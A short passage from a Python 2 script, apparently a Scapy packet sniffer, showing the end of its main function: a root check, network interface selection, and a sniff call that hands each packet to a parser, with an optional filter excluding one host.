            pkt_parser(pkt)
    else:
        # Check for root
        if geteuid():
            exit('[-] Please run as root')

        #Find the active interface
        if args.interface:
            conf.iface = args.interface
        else:
            conf.iface = iface_finder()
        print '[*] Using interface:', conf.iface

        if args.filterip:
            sniff(iface=conf.iface, prn=pkt_parser, filter="not host %s" % args.filterip, store=0)
        else:
            sniff(iface=conf.iface, prn=pkt_parser, store=0)


if __name__ == "__main__":
   main(parse_args())
